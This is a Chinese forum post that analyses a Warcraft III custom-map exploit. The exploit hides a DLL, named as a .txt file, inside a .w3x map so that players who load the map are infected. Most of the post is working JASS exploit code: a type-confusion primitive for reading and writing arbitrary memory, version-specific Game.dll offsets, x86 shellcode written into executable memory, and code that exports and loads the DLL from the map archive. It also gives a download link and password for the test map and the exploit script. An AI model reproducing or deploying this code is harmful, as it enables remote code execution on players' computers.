map.w3x
游戏地图文件,它是一个压缩包,里面打包了很多文件
war3map.j
地图触发文件,它被压缩在地图内,比如聊天触发事件
它会被转换成字节码,由虚拟机解释执行(jass语言和jassVM)
这里用它来调用外部脚本,当事件发生时
1.地图文件-打包(漏洞利用+恶意文件)
2.创建房间-传播(玩家读图+远程下载)
3.进入游戏-中招(释放文件+加载文件)
4.查看进程
部分漏洞代码分析:
[C] 纯文本查看 复制代码//war3map.jfunction main takes nothing returns nothingcall StartMeleeAI(Player(12),"initrb")//调用外部脚本:initrbendfunction//initrbfunction main takes nothing returns nothinglocal integer gamedlllocal integer i=0local integer jassbuffer=0 //初始化数据,根据魔兽版本,获取地址:war3.exe,Game.dll,JassVM,WinAPI,... //涉及的版本:1.28a,1.27b,1.27a,1.26,1.24b,1.24e call newInitMemoryArray() set MemoryAddr=GetMemoryArrayAddr() call StartThread( I2C(8 + C2I(function newUnlockMemory))) set i=ReadRealMemory(GetBytecodeAddress()) set i=i - ReadRealMemory(i) if i == 2586768 then call newInit27a() elseif i == 5205600 then call newInit26() elseif i == 5276928 then call newInit24b() elseif i == 5276840 then call newInit24e() endif//申请内存用于->写入汇编指令set pReservedExecutableMemory2=AllocateExecutableMemory(1000)//申请内存用于->保存字符串set buffer[1]=AllocateExecutableMemory(100)set buffer[2]=AllocateExecutableMemory(100)set buffer[3]=AllocateExecutableMemory(100)set buffer[4]=AllocateExecutableMemory(100)//buffer[1]="MX.txt"call WriteRealMemory(buffer[1],0x742E584D)call WriteRealMemory(buffer[1]+4,0x00007478)//检查模块是否加载if GetModuleHandle(buffer[1])==0 then //获取文件属性 if GetFileAttributes(buffer[1])!= -1 then //删除文件 if DeleteFile(buffer[1])!=0 then //从地图导出文件 导出到War3.exe目录下 call ExportFileFromMpq(buffer[1] , buffer[1]) endif else call ExportFileFromMpq(buffer[1] , buffer[1]) endif //加载文件="MX.txt"(其实它是.dll) call LoadLibrary(buffer[1])endif//buffer[2]="InitRB"call WriteRealMemory(buffer[2] + 0 , 0x74696e49)call WriteRealMemory(buffer[2] + 4 , 0x00004252)//从加载的模块中获取导出函数的地址:"InitRB"set i=GetModuleProcAddress(buffer[1] , buffer[2])//call InitRBcall CallStdcallWith1Args(i , 0)endfunction//初始化获取数据-1.24e版本function newInit24e takes nothing returns nothinglocal integer base=ReadRealMemory(GetBytecodeAddress()) - 0x9631B8 //游戏模块地址 set GameDLL=base set base=base / 4 //应该是虚拟机环境地址 set pJassEnvAddress=base + 0xAF16A8 / 4 //函数地址:获取模块句柄,申请内存,获取函数地址,从地图中释放文件 set pGetModuleHandle=base + 0x87F204 / 4 set pVirtualAlloc=base + 0x87F134 / 4 set pGetProcAddress=base + 0x87F2BC / 4 set pExportFromMpq=GameDLL + 0x7386A0 // set pMergeUnits=GameDLL + 0x2DDE40 set pIgnoredUnits=GameDLL + 0x2DD9A0 set pConvertUnits=GameDLL + 0x2DDE00 //设置游戏版本 set GameVersion=0x24eendfunction//数组类型转换//查资料得知,当局部变量和全局变量同名时,会转换成局部变量//全局变量是整形数组,转换成了整形,这里其实是把数组地址变成了0//Memory[addr / 4] 假如地址为:8 0(Memory)+2(8/4)*4(IntType)//能读写指定地址内存,就是这个类型转换的为核心因素function TypeCastMemoryArray takes nothing returns nothing local integer Memoryendfunction//读内存function ReadRealMemory takes integer addr returns integer if addr / 4 * 4 != addr then return ReadRealMemory_FIX(addr) endif //内存地址是1字节为单位的,这个作者利用了4字节为单位的数组来读内存,所以代码才会那么奇怪 //int array Memory //假设地址为:8 Memory[addr / 4]==Memory[2] //假设Memory地址为:0 Memory[addr / 4]==0+2*4 return Memory[addr / 4]endfunction//写内存function WriteRealMemory takes integer addr,integer val returns nothing if addr / 4 * 4 != addr then //call BJDebugMsg("WriteMemory WARNING! : " + Int2Hex(addr) ) call WriteRealMemory_FIX(addr , val) else //这里上面已经解释过了,作者利用这种方法来读写内存 set Memory[addr / 4]=val endifendfunction//加载动态链接库function LoadLibrary takes integer nDllName returns integer if pLoadLibraryA == 0 then call WriteRealMemory(buffer[2] + 0 , 0x6e72654b)//Kernel32.dll call WriteRealMemory(buffer[2] + 4 , 0x32336c65) call WriteRealMemory(buffer[2] + 8 , 0x6c6c642e) call WriteRealMemory(buffer[2] + 12 , 0x00000000) call WriteRealMemory(buffer[3] + 0 , 0x64616f4c)//LoadLibrary call WriteRealMemory(buffer[3] + 4 , 0x7262694c) call WriteRealMemory(buffer[3] + 8 , 0x41797261) call WriteRealMemory(buffer[3] + 12 , 0x00000000) set pLoadLibraryA=GetModuleProcAddress(buffer[2] , buffer[3])//GetModuleProcAddress(“Kernel32.dll”,"LoadLibrary") endif if pLoadLibraryA != 0 then return CallStdcallWith1Args(pLoadLibraryA , nDllName)//LoadLibrary(nDllName) endif return 0endfunction//函数调用function CallStdcallWith1Args takes integer pFuncStdcallAddr,integer arg1 returns integer//局部 整形 变量local integer pOffset1 call WriteRealMemory(pReservedExecutableMemory2 , 0x68C98B51) // push ecx. mov ecx,ecx call WriteRealMemory(pReservedExecutableMemory2 + 4 , arg1) // push arg1 call WriteRealMemory(pReservedExecutableMemory2 + 8 , 0xB990C98B) // mov ecx,ecx , nop call WriteRealMemory(pReservedExecutableMemory2 + 12 , pFuncStdcallAddr) // mov ecx, pFuncStdcallAddr call WriteRealMemory(pReservedExecutableMemory2 + 16 , 0xC359D1FF) // call ecx, pop ecx, ret if pIgnoredUnitsOffset == 0 then set pIgnoredUnitsOffset=CreateJassNativeHook(pIgnoredUnits , pReservedExecutableMemory2) else call WriteRealMemory(pIgnoredUnitsOffset , pReservedExecutableMemory2) endif set pOffset1=IgnoredUnits(0) call WriteRealMemory(pIgnoredUnitsOffset , pIgnoredUnits) return pOffset1endfunction
文件:
测试地图.w3x(为了测试效果,加载模块代码我写成了聊天触发 进入游戏输入:-LS )
initrb(漏洞利用代码,用记事本可打开,)
链接: https://pan.baidu.com/s/1UcTdqhqHGvaLGgKNpMiYTg 密码: r2fa
作者:
DracpL1ch(俄国)
涉及的版本:
1.28a,1.27b,1.27a,1.26,1.24b,1.24e
测试时间:2018.3
网易有赞助的地图基本都是利用这个漏洞代码实现收费道具功能,读取数据
非萝莉漏洞:萝莉漏洞是释放文件到开机启动,它不能读写内存,还要重启
更新时间:2018.7
有人说官方对战平台(网易)修复了,从地图作者在更新说明中,指定官方为唯一收费道具购买平台来看,某平台(和官方抢生意)应该是被和(cao)谐(fan)了
来源:http://www.12558.net
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |